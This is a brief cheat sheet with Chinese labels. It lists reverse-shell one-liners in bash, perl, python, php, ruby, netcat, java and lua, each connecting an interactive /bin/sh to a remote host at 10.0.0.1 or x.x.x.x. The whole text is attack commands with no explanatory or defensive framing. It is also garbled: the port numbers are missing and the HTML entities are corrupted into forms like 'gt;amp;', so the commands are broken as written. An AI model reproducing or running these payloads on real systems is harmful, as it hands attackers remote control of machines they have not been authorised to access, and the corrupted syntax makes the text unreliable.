bash一声令下：bash -i gt;amp; /dev/tcp/10.0.0.1/ 0gt;amp;1

perl版本号：perl -e 'use Socket;$i="10.0.0.1";$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"gt;amp;S");open(STDOUT,"gt;amp;S");open(STDERR,"gt;amp;S");exec("/bin/sh -i");};

python版本号：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本：php -r '$sock=fsockopen("10.0.0.1",);exec("/bin/sh -i lt;amp;3 gt;amp;3 3gt;amp;3");'

ruby版本号：ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",).to_i;exec sprintf("/bin/sh -i lt;amp;d gt;amp;d 3gt;amp;d",f,f,f)'

nc 版本号：nc -e /bin/sh 10.0.0.1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 3gt;amp;1|nc 10.0.0.1 gt;/tmp/f
nc x.x.x.x |/bin/sh|nc x.x.x.x

java 版本号：r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5lt;gt;/dev/tcp/10.0.0.1/;catlt;amp;5 | while read line; do \$line 3gt;amp;5 gt;amp;5; done"] as String[])
p.waitFor()

lua版本号：lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','');os.execute('/bin/sh -i lt;amp;3 gt;amp;3 3gt;amp;3');"